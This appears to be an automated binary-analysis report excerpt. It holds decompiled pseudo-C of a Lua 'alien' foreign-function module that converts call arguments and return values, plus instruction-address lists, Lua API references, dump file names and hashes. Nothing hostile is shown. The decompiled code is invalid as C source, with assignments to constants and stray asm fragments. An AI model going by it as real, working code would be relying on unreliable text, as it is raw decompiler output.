							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t165 = __ebp - 0x60; // -92
							__edx = _t165;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi);
							__fp0 =  *(__ebp - 0x60);
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 9:
							L49:
							_t149 = __ebp - 0x20; // -28
							__eax = _t149;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t149, __edi);
							__edx =  *(__ebp - 0x20) & 0x000000ff;
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 0xa:
							L50:
							_t154 = __ebp - 0x20; // -28
							__eax = _t154;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t154, __edi);
							__edx =  *(__ebp - 0x20);
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 0xb:
							L53:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t169 = __ebp - 0x3c; // -56
							__edx = _t169;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi);
							__eax =  *(__ebp - 0x3c);
							if(__eax == 0) {
								goto L55;
							}
							L54:
							_push(__eax);
							_push(__esi);
							L005E3EF0();
							__esp = __esp + 8;
							goto L62;
						case 0xc:
							L56:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t173 = __ebp - 0x3c; // -56
							__edx = _t173;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi);
							__eax =  *(__ebp - 0x3c);
							if(__eax == 0) {
								L55:
								_push(__esi);
								L005E3F74();
								__esp = __esp + 4;
								goto L62;
							}
							L57:
							_push(__eax);
							_push(__esi);
							L005E3F7A();
							__esp = __esp + 8;
							goto L62;
					}
				}
			}

0x005e2228
0x005e2228
0x005e2228
0x005e2228
0x005e2228
0x005e222d
0x005e2232
0x005e2235
0x005e2237
0x005e223c
0x005e2242
0x005e2244
0x005e2247
0x005e24ec
0x005e24ec
0x005e24ec
0x005e24f0
0x005e24f3
0x005e24f3
0x005e24f7
0x00000000
0x00000000
0x005e2071
0x005e2071
0x005e207a
0x005e2080
0x005e24d0
0x005e24d0
0x005e24d5
0x005e24d7
0x005e24d7
0x005e24dc
0x005e24dd
0x005e24de
0x005e24e3
0x005e24e4
0x005e24e9
0x00000000
0x005e24e9
0x005e2086
0x005e2086
0x00000000
0x005e208d
0x005e2092
0x005e2097
0x005e209a
0x005e209b
0x005e209c
0x005e20a1
0x005e20a4
0x005e20a9
0x005e20ac
0x005e20af
0x005e20b2
0x00000000
0x00000000
0x005e2112
0x005e2117
0x005e211c
0x005e211f
0x005e2120
0x005e2121
0x005e2126
0x005e2129
0x005e212d
0x005e2130
0x005e2133
0x005e2138
0x005e213b
0x005e213e
0x005e2141
0x005e2148
0x005e214b
0x005e214e
0x00000000
0x00000000
0x005e20e6
0x005e20e6
0x005e20eb
0x005e20f0
0x005e20f3
0x005e20f4
0x005e20f5
0x005e20fa
0x005e20fd
0x005e2102
0x005e2105
0x005e2108
0x005e210a
0x00000000
0x00000000
0x005e2198
0x005e219d
0x005e21a2
0x005e21a5
0x005e21a6
0x005e21a7
0x005e21ac
0x005e21af
0x005e21b3
0x005e21b6
0x005e21b9
0x005e21be
0x005e21c1
0x005e21c4
0x005e21c7
0x005e21ca
0x005e21cd
0x005e21cf
0x005e21d2
0x00000000
0x00000000
0x005e20ba
0x005e20ba
0x005e20bf
0x005e20c4
0x005e20c7
0x005e20c8
0x005e20c9
0x005e20ce
0x005e20d1
0x005e20d6
0x005e20d9
0x005e20db
0x005e20de
0x00000000
0x00000000
0x005e2156
0x005e215b
0x005e2160
0x005e2163
0x005e2164
0x005e2165
0x005e216a
0x005e216d
0x005e2171
0x005e2174
0x005e2177
0x005e217c
0x005e217f
0x005e2182
0x005e2185
0x005e2188
0x005e218b
0x005e218d
0x005e2190
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x005e224f
0x005e2254
0x005e2259
0x005e225c
0x005e225d
0x005e225e
0x005e2263
0x005e2266
0x005e2269
0x005e226b
0x005e226e
0x00000000
0x00000000
0x005e21da
0x005e21df
0x005e21e4
0x005e21e7
0x005e21e8
0x005e21e9
0x005e21ee
0x005e21f1
0x005e21f3
0x005e21f6
0x005e21f9
0x00000000
0x00000000
0x005e2201
0x005e2201
0x005e2206
0x005e220b
0x005e220e
0x005e220f
0x005e2210
0x005e2215
0x005e2218
0x005e221b
0x005e221d
0x005e2220
0x00000000
0x00000000
0x005e2276
0x005e2276
0x005e227b
0x005e2280
0x005e2283
0x005e2284
0x005e2285
0x005e228a
0x005e228f
0x005e2290
0x005e2291
0x005e22cd
0x005e22d2
0x005e22d7
0x005e22eb
0x005e22ed
0x005e22ee
0x005e22ef
0x005e22f4
0x005e22f7
0x005e22fa
0x005e22fc
0x005e22fe
0x005e2301
0x005e22d9
0x005e22d9
0x005e22dc
0x005e22df
0x005e22e1
0x005e22e3
0x005e22e3
0x005e2293
0x005e2293
0x005e2298
0x005e229d
0x005e22b1
0x005e22b2
0x005e22b3
0x005e22b8
0x005e22bb
0x005e22bd
0x005e22bf
0x005e22c2
0x005e22c5
0x005e229f
0x005e229f
0x005e22a2
0x005e22a4
0x005e22a6
0x005e22a9
0x005e22a9
0x005e229d
0x00000000
0x00000000
0x005e237e
0x005e237e
0x005e2383
0x005e2388
0x005e238b
0x005e238c
0x005e238d
0x005e2392
0x005e2397
0x005e23a9
0x005e23aa
0x005e23ab
0x005e23b0
0x005e23b5
0x005e23d3
0x005e23d4
0x005e23d5
0x005e23da
0x005e23dd
0x005e23df
0x005e23e2
0x005e23e5
0x005e23b7
0x005e23b7
0x005e23b9
0x005e23ba
0x005e23bb
0x005e23c0
0x005e23c3
0x005e23c5
0x005e23c8
0x005e23cb
0x005e23cb
0x005e2399
0x005e2399
0x005e239c
0x005e239e
0x005e23a1
0x005e23a1
0x00000000
0x00000000
0x005e23ed
0x005e23ed
0x005e23ee
0x005e23ef
0x005e23f4
0x005e23f7
0x005e23fc
0x005e23ff
0x005e2406
0x005e240b
0x005e240e
0x005e2411
0x005e2413
0x005e2415
0x005e2418
0x005e241b
0x00000000
0x00000000
0x005e2423
0x005e2423
0x005e2424
0x005e2425
0x005e242a
0x005e242d
0x005e2431
0x005e2434
0x005e2439
0x005e243c
0x005e243f
0x005e2442
0x005e2445
0x005e2448
0x005e244a
0x005e244f
0x005e2452
0x005e2457
0x005e245a
0x005e245d
0x005e245f
0x005e2461
0x005e2464
0x005e2467
0x00000000
0x00000000
0x005e246f
0x005e246f
0x005e2470
0x005e2471
0x005e2476
0x005e2479
0x005e247e
0x005e2481
0x005e2488
0x005e248d
0x005e2490
0x005e2493
0x005e2495
0x005e2497
0x005e249a
0x005e249d
0x00000000
0x00000000
0x005e24a2
0x005e24a2
0x005e24a3
0x005e24a4
0x005e24a9
0x005e24ac
0x005e24ae
0x005e24b6
0x005e24bb
0x005e24be
0x005e24c1
0x005e24c3
0x005e24c5
0x005e24c8
0x005e24cb
0x00000000
0x00000000
0x005e2309
0x005e2309
0x005e230e
0x005e2313
0x005e231b
0x005e2325
0x005e233e
0x005e2348
0x005e235d
0x005e2362
0x005e2363
0x005e2364
0x005e2369
0x005e236c
0x005e236f
0x005e2372
0x005e2374
0x005e2376
0x005e234a
0x005e234a
0x005e234d
0x005e2350
0x005e2353
0x005e2355
0x005e2355
0x005e2327
0x005e2327
0x005e2329
0x005e232c
0x005e232f
0x005e2331
0x005e2331
0x00000000
0x00000000
0x005e2086
0x005e24fd
0x005e24fd
0x005e2500
0x005e2507
0x005e250d
0x005e2753
0x005e2753
0x005e2758
0x005e275a
0x005e275a
0x005e275f
0x005e2760
0x005e2765
0x005e2766
0x005e276b
0x005e276b
0x005e276e
0x005e278a
0x005e2790
0x005e2795
0x005e279d
0x005e27a0
0x005e2843
0x005e2858
0x005e2859
0x005e285a
0x005e2868
0x00000000
0x00000000
0x00000000
0x005e27a6
0x005e27a6
0x005e27af
0x005e27b5
0x00000000
0x00000000
0x005e27bb
0x005e27bb
0x00000000
0x005e27c2
0x005e27c5
0x005e27c7
0x005e27ca
0x005e27cd
0x005e27ce
0x005e27d3
0x005e27d6
0x00000000
0x00000000
0x005e27dc
0x005e27dc
0x005e27df
0x005e27e1
0x005e27e5
0x005e27e7
0x005e27e7
0x005e27ed
0x005e27f0
0x005e27f3
0x005e27f4
0x005e27f9
0x005e27fc
0x00000000
0x00000000
0x005e2818
0x005e2818
0x005e281b
0x005e281e
0x005e2821
0x005e2824
0x005e2827
0x005e282a
0x005e282b
0x005e2830
0x005e2833
0x00000000
0x00000000
0x005e2802
0x005e2802
0x005e2804
0x005e2807
0x005e280a
0x005e280b
0x005e2810
0x005e2813
0x00000000
0x00000000
0x005e2837
0x005e2837
0x005e283a
0x00000000
0x005e27a6
0x005e2513
0x005e2513
0x00000000
0x005e253b
0x005e253b
0x005e253e
0x005e2542
0x005e2547
0x005e254b
0x005e2550
0x005e2554
0x005e2557
0x005e255a
0x005e255d
0x005e2560
0x005e2561
0x00000000
0x00000000
0x005e25bd
0x005e25bd
0x005e25c0
0x005e25c4
0x005e25c4
0x005e25c9
0x005e25cd
0x005e25d2
0x005e25d6
0x005e25d9
0x005e25dc
0x005e25df
0x005e25e2
0x005e25e3
0x00000000
0x00000000
0x005e2594
0x005e2594
0x005e2597
0x005e259b
0x005e259b
0x005e25a0
0x005e25a4
0x005e25a9
0x005e25ac
0x005e25af
0x005e25b2
0x005e25b3
0x00000000
0x00000000
0x005e2623
0x005e2624
0x005e2624
0x005e2628
0x005e262b
0x005e262f
0x005e2633
0x005e2638
0x005e263b
0x00000000
0x00000000
0x005e256b
0x005e256c
0x005e256c
0x005e2570
0x005e2573
0x005e2577
0x005e257b
0x005e2580
0x005e2583
0x005e2586
0x005e2589
0x005e258a
0x00000000
0x00000000
0x005e25ed
0x005e25ee
0x005e25ee
0x005e25f2
0x005e25f5
0x005e25f9
0x005e25fd
0x005e2602
0x005e2605
0x005e2608
0x005e260a
0x005e260c
0x005e260c
0x005e2612
0x005e2615
0x005e2618
0x005e2619
0x00000000
0x00000000
0x005e251a
0x005e2528
0x005e252d
0x005e252e
0x005e2533
0x00000000
0x00000000
0x005e26a0
0x005e26a1
0x005e26a1
0x005e26a5
0x005e26a8
0x005e26ac
0x005e26b0
0x005e26b5
0x005e26b8
0x005e26bb
0x005e26be
0x005e26bf
0x00000000
0x00000000
0x005e26c9
0x005e26c9
0x005e26cc
0x005e26d0
0x005e26d0
0x005e26d5
0x005e26d9
0x005e26de
0x005e26e1
0x005e26e4
0x005e26e7
0x005e26e8
0x00000000
0x00000000
0x005e2640
0x005e2641
0x005e2641
0x005e2645
0x005e2648
0x005e264c
0x005e2650
0x005e2655
0x005e2659
0x005e265c
0x005e265f
0x005e2662
0x005e2665
0x005e2666
0x00000000
0x00000000
0x005e2670
0x005e2671
0x005e2671
0x005e2675
0x005e2678
0x005e267c
0x005e2680
0x005e2685
0x005e2689
0x005e268c
0x005e268f
0x005e2692
0x005e2695
0x005e2696
0x00000000
0x00000000
0x005e26f2
0x005e26f2
0x005e26f5
0x005e26f9
0x005e26f9
0x005e2702
0x005e2707
0x005e270f
0x00000000
0x00000000
0x005e2711
0x005e2711
0x005e2712
0x005e2713
0x005e2718
0x00000000
0x00000000
0x005e2728
0x005e2728
0x005e272b
0x005e272f
0x005e272f
0x005e2738
0x005e273d
0x005e2745
0x005e271d
0x005e271d
0x005e271e
0x005e2723
0x00000000
0x005e2723
0x005e2747
0x005e2747
0x005e2748
0x005e2749
0x005e274e
0x00000000
0x00000000
0x005e2513

APIs

lua_tonumber.LUA5.1 ref: 005E2237
lua_pushnil.LUA5.1(?,?,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E252E
lua_pushnumber.LUA5.1(?,?,?), ref: 005E2561
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,?), ref: 005E258A
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?), ref: 005E25B3
lua_pushnumber.LUA5.1(?,?,?,?,?), ref: 005E25E3
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?), ref: 005E2619
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E2666
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E2696
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E26BF
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E26E8
lua_pushstring.LUA5.1(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E2713
lua_pushnil.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E271E
lua_pushlightuserdata.LUA5.1(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E2749
luaL_error.LUA5.1(?,alien: unknown return type (function %s),?), ref: 005E2766
lua_pushnumber.LUA5.1(?), ref: 005E27CE
lua_pushnumber.LUA5.1(?), ref: 005E27F4
lua_pushnumber.LUA5.1(?), ref: 005E280B
lua_pushnumber.LUA5.1(?), ref: 005E282B

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushnumber.$lua_pushnil.$L_error.lua_pushlightuserdata.lua_pushstring.lua_tonumber.
String ID:
API String ID: 2475247279-0
Opcode ID: b74540d2836c668b0f9bccab7eafce155e88cf7dc8640dce4781272619ec46a1
Instruction ID: 27352f553280a42b962c1bc91d28513c2ba562fea2d6cd933b6c8167c8271c51
Opcode Fuzzy Hash: b74540d2836c668b0f9bccab7eafce155e88cf7dc8640dce4781272619ec46a1
Instruction Fuzzy Hash: F1B1B6B5D041499BCB08EB95DD89CEEBFB8FF89300F148448F481B7246D6399A15CB75

Uniqueness

Uniqueness Score: -1.00%

Function 005E21DA, Relevance: 25.8, APIs: 17, Instructions: 315
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E005E21DA(void* __edi, long long __fp0) {
				long long* __ebx;
				void* __esi;
				char _t220;
				signed int _t223;
				char* _t224;
				signed int _t225;
				char* _t226;
				signed int _t237;
				void* _t244;
				void* _t246;
				char* _t247;
				intOrPtr _t248;
				intOrPtr _t249;
				void* _t268;
				signed int _t269;
				void* _t270;
				void* _t272;
				signed int _t273;
				intOrPtr _t275;
				intOrPtr _t276;
				void* _t277;
				long long _t287;

				L0:
				while(1) {
					L0:
					_t287 = __fp0;
					_t268 = __edi;
					_t220 = E005E46A0(4);
					 *((intOrPtr*)(_t273 - 8)) = _t275;
					_push(_t244);
					L005E3F62();
					_t247 =  *((intOrPtr*)(_t273 - 8));
					 *_t247 = _t220;
					_t276 = _t275 + 8;
					 *((intOrPtr*)( *((intOrPtr*)(_t273 - 0xc)) + __edi)) = _t247;
					while(1) {
						L36:
						 *((intOrPtr*)(_t273 - 0xc)) =  *((intOrPtr*)(_t273 - 0xc)) + 4;
						_t244 = _t244 + 1;
						_t116 = _t273 - 0x4c;
						 *_t116 =  *((intOrPtr*)(_t273 - 0x4c)) - 1;
						if( *_t116 == 0) {
							break;
						}
						L1:
						_t248 =  *((intOrPtr*)(_t273 - 0x14));
						_t223 =  *( *((intOrPtr*)(_t273 - 0xc)) +  *((intOrPtr*)(_t248 + 0x30)));
						if(_t223 > 0x11) {
							L33:
							_t224 =  *(_t248 + 8);
							if(_t224 == 0) {
								_t224 = "anonymous";
							}
							_push(_t224);
							_push(_t244);
							_push("alien: parameter %i is of unknown type (function %s)");
							_push(_t271);
							L005E3F26();
							_t276 = _t276 + 0x10;
							continue;
						}
						L2:
						switch( *((intOrPtr*)(_t223 * 4 +  &M005E287C))) {
							case 0:
								L3:
								_t242 = E005E46A0(4);
								 *((intOrPtr*)(_t273 - 8)) = _t276;
								_push(_t244);
								_push(_t271);
								L005E3F68();
								_t276 = _t276 + 8;
								_t243 = E005E45C0(_t242, _t287);
								_t258 =  *((intOrPtr*)(_t273 - 8));
								_t259 =  *((intOrPtr*)(_t273 - 0xc));
								 *_t258 = _t243;
								 *((intOrPtr*)( *((intOrPtr*)(_t273 - 0xc)) + _t268)) = _t258;
								goto L36;
							case 1:
								L6:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__edx =  *(__ebp - 0xc);
								__esp = __esp + 8;
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__eax =  *(__ebp - 8);
								asm("fldcw word [ebp-0x18]");
								asm("fistp dword [ebp-0x18]");
								 *__eax =  *(__ebp - 0x18);
								 *(__edx + __edi) = __eax;
								asm("fldcw word [ebp-0xe]");
								goto L36;
							case 2:
								L5:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 8);
								__edx =  *(__ebp - 0xc);
								 *__ecx = __eax;
								 *(__edx + __edi) = __ecx;
								goto L36;
							case 3:
								L8:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__edx =  *(__ebp - 0xc);
								__esp = __esp + 8;
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__eax =  *(__ebp - 8);
								asm("fldcw word [ebp-0x18]");
								asm("fistp qword [ebp-0x1c]");
								__ecx =  *(__ebp - 0x1c);
								 *__eax = __ecx;
								 *(__edx + __edi) = __eax;
								asm("fldcw word [ebp-0xe]");
								goto L36;
							case 4:
								L4:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 8);
								 *__ecx = __eax;
								__eax =  *(__ebp - 0xc);
								 *(__eax + __edi) = __ecx;
								goto L36;
							case 5:
								L7:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__edx =  *(__ebp - 0xc);
								__esp = __esp + 8;
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__eax =  *(__ebp - 8);
								asm("fldcw word [ebp-0x18]");
								asm("fistp qword [ebp-0x1c]");
								__ecx =  *(__ebp - 0x1c);
								 *__eax = __ecx;
								 *(__edx + __edi) = __eax;
								asm("fldcw word [ebp-0xe]");
								goto L36;
							case 6:
								goto L33;
							case 7:
								L10:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__eax =  *(__ebp - 8);
								__ecx =  *(__ebp - 0xc);
								 *__eax = __fp0;
								__esp = __esp + 8;
								 *(__ecx + __edi) = __eax;
								goto L36;
							case 8:
								L11:
								8 = E005E4686(8);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__eax =  *(__ebp - 8);
								__edx =  *(__ebp - 0xc);
								 *__eax = __fp0;
								__esp = __esp + 8;
								 *(__edx + __edi) = __eax;
								goto L36;
							case 9:
								goto L0;
							case 0xa:
								L9:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F62();
								__ecx =  *(__ebp - 8);
								__edx =  *(__ebp - 0xc);
								 *__ecx = __al;
								__esp = __esp + 8;
								 *(__edx + __edi) = __ecx;
								goto L36;
							case 0xb:
								L12:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F50();
								__esp = __esp + 8;
								_push(__ebx);
								_push(__esi);
								if(__eax == 0) {
									L005E3F4A();
									__esp = __esp + 8;
									if(__eax != 0) {
										_push(0);
										_push(__ebx);
										_push(__esi);
										L005E3F5C();
										__edx =  *(__ebp - 8);
										__ecx =  *(__ebp - 0xc);
										 *__edx = __eax;
										__eax = __edx;
										__esp = __esp + 0xc;
										 *(__ecx + __edi) = __eax;
									} else {
										__edx =  *(__ebp - 8);
										__ecx =  *(__ebp - 0xc);
										 *__edx = __eax;
										__eax = __edx;
										 *(__ecx + __edi) = __eax;
									}
								} else {
									L005E3F4A();
									__esp = __esp + 8;
									if(__eax != 0) {
										_push(__ebx);
										_push(__esi);
										L005E3F0E();
										__ecx =  *(__ebp - 8);
										 *__ecx = __eax;
										__eax = __ecx;
										__ecx =  *(__ebp - 0xc);
										__esp = __esp + 8;
										 *(__ecx + __edi) = __eax;
									} else {
										__ecx =  *(__ebp - 8);
										 *__ecx = __eax;
										__eax = __ecx;
										__ecx =  *(__ebp - 0xc);
										 *(__ecx + __edi) = __eax;
									}
								}
								goto L36;
							case 0xc:
								L24:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F4A();
								__esp = __esp + 8;
								if(__eax != 0) {
									_push(__ebx);
									_push(__esi);
									L005E3F56();
									__esp = __esp + 8;
									if(__eax == 0) {
										_push(__ebx);
										_push(__esi);
										L005E3F0E();
										__ecx =  *(__ebp - 8);
										 *__ecx = __eax;
										__eax =  *(__ebp - 0xc);
										__esp = __esp + 8;
										 *(__eax + __edi) = __ecx;
									} else {
										_push(0);
										_push(__ebx);
										_push(__esi);
										L005E3F5C();
										__ecx =  *(__ebp - 8);
										 *__ecx = __eax;
										__eax =  *(__ebp - 0xc);
										__esp = __esp + 0xc;
										 *(__eax + __edi) = __ecx;
									}
								} else {
									__ecx =  *(__ebp - 8);
									 *__ecx = __eax;
									__eax =  *(__ebp - 0xc);
									 *(__eax + __edi) = __ecx;
								}
								goto L36;
							case 0xd:
								L29:
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 0x24);
								 *( *(__ebp - 0x24)) = __eax;
								4 = E005E46A0(4);
								__ecx =  *(__ebp - 0x24);
								__edx =  *(__ebp - 0xc);
								__eax = __esp;
								 *__eax = __ecx;
								__ecx = __ecx + 4;
								 *(__edx + __edi) = __eax;
								 *(__ebp - 0x24) = __ecx;
								goto L36;
							case 0xe:
								L30:
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__ecx =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__esp = __esp + 8;
								asm("fldcw word [ebp-0x18]");
								asm("fistp qword [ebp-0x1c]");
								__eax =  *(__ebp - 0x1c);
								 *( *(__ebp - 0x28)) =  *(__ebp - 0x1c);
								__eax = 4;
								asm("fldcw word [ebp-0xe]");
								__eax = E005E46A0(4);
								__ecx =  *(__ebp - 0x28);
								__edx =  *(__ebp - 0xc);
								__eax = __esp;
								 *__eax = __ecx;
								__ecx = __ecx + 4;
								 *(__edx + __edi) = __eax;
								 *(__ebp - 0x28) = __ecx;
								goto L36;
							case 0xf:
								L31:
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 0x2c);
								 *( *(__ebp - 0x2c)) = __al;
								4 = E005E46A0(4);
								__ecx =  *(__ebp - 0x2c);
								__edx =  *(__ebp - 0xc);
								__eax = __esp;
								 *__eax = __ecx;
								__ecx = __ecx + 1;
								 *(__edx + __edi) = __eax;
								 *(__ebp - 0x2c) = __ecx;
								goto L36;
							case 0x10:
								L32:
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__eax =  *(__ebp - 0x40);
								 *( *(__ebp - 0x40)) = __fp0;
								__esp = __esp + 8;
								4 = E005E46A0(4);
								__ecx =  *(__ebp - 0x40);
								__edx =  *(__ebp - 0xc);
								__eax = __esp;
								 *__eax = __ecx;
								__ecx = __ecx + 8;
								 *(__edx + __edi) = __eax;
								 *(__ebp - 0x40) = __ecx;
								goto L36;
							case 0x11:
								L19:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								__eax = E005E1110(__eax, __ebx, __esi, "alien_callback");
								if(__eax == 0) {
									__eax = E005E1110(__eax, __ebx, __esi, "alien_function");
									if(__eax == 0) {
										_push("alien function or callback expected");
										_push(__ebx);
										_push(__esi);
										L005E3F14();
										__ecx =  *(__ebp - 8);
										__edx =  *(__ebp - 0xc);
										__esp = __esp + 0xc;
										__eax = 0;
										 *__ecx = 0;
										 *(__edx + __edi) = __ecx;
									} else {
										__eax =  *(__eax + 4);
										__ecx =  *(__ebp - 8);
										__edx =  *(__ebp - 0xc);
										 *__ecx = __eax;
										 *(__edx + __edi) = __ecx;
									}
								} else {
									__eax =  *__eax;
									__ecx =  *(__ebp - 8);
									__edx =  *(__ebp - 0xc);
									 *__ecx = __eax;
									 *(__edx + __edi) = __ecx;
								}
								goto L36;
						}
					}
					L37:
					_t249 =  *((intOrPtr*)(_t273 - 0x14));
					 *((intOrPtr*)(_t273 - 0x3c)) = 0;
					_t225 =  *(_t249 + 0xc);
					if(_t225 > 0xc) {
						L58:
						_t226 =  *(_t249 + 8);
						if(_t226 == 0) {
							_t226 = "anonymous";
						}
						_push(_t226);
						_push("alien: unknown return type (function %s)");
						_push(_t271);
						L005E3F26();
						L61:
						_t277 = _t276 + 0xc;
						L62:
						 *((intOrPtr*)(_t273 - 0x24)) =  *((intOrPtr*)(_t273 - 0x24)) +  ~( *(_t273 - 0x48)) * 4;
						 *((intOrPtr*)(_t273 - 0x2c)) =  *((intOrPtr*)(_t273 - 0x2c)) -  *((intOrPtr*)(_t273 - 0x30));
						_t269 = 0;
						 *((intOrPtr*)(_t273 - 0x28)) =  *((intOrPtr*)(_t273 - 0x28)) +  ~( *(_t273 - 0x38)) * 4;
						if( *((intOrPtr*)(_t273 - 0x44)) <= 0) {
							L72:
							_pop(_t270);
							_pop(_t272);
							_pop(_t246);
							return E005E45A4( *((intOrPtr*)(_t273 - 0x30)) +  *((intOrPtr*)(_t273 - 0x34)) +  *(_t273 - 0x38) +  *(_t273 - 0x48) + 1, _t246,  *(_t273 - 4) ^ _t273,  *(_t273 - 0x48), _t270, _t272);
						} else {
							goto L63;
						}
						do {
							L63:
							_t237 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t273 - 0x14)) + 0x30)) + _t269 * 4)) + 0xfffffff3;
							if(_t237 > 3) {
								goto L71;
							}
							L64:
							switch( *((intOrPtr*)(_t237 * 4 +  &M005E28F8))) {
								case 0:
									L65:
									asm("fild dword [ecx]");
									_t280 = _t277 - 8;
									 *_t280 = _t287;
									_push(_t271);
									L005E3F80();
									_t277 = _t280 + 0xc;
									 *((intOrPtr*)(_t273 - 0x24)) =  *((intOrPtr*)(_t273 - 0x24)) + 4;
									goto L71;
								case 1:
									L66:
									__edx =  *(__ebp - 0x28);
									__eax =  *__edx;
									asm("fild dword [edx]");
									if(__eax < 0) {
										__fp0 = __fp0 +  *0x5e5878;
									}
									__esp = __esp - 8;
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									__esp = __esp + 0xc;
									 *(__ebp - 0x28) =  *(__ebp - 0x28) + 4;
									goto L71;
								case 2:
									L70:
									__ecx =  *(__ebp - 0x2c);
									__edx =  *__ecx;
									 *(__ebp - 0x18) = __edx;
									__esp = __esp - 8;
									asm("fild dword [ebp-0x18]");
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									__esp = __esp + 0xc;
									 *(__ebp - 0x2c) =  *(__ebp - 0x2c) + 1;
									goto L71;
								case 3:
									L69:
									__fp0 =  *__ebx;
									__esp = __esp - 8;
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									__esp = __esp + 0xc;
